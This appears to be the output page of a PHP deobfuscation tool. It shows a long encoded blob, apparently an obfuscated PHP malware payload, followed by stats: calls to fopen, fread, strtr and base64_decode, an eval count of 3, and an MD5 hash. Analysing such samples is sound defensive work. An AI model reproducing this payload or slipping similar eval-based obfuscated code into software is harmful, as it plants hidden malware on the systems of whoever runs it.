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alVnRPIq
Function Calls
fopen | 1 |
fread | 3 |
strtr | 2 |
fclose | 1 |
urldecode | 1 |
str_replace | 1 |
base64_decode | 3 |
Stats
MD5 | a2318ab65ec4f60f022ae8cae20db00b |
Eval Count | 3 |
Decode Time | 78 ms |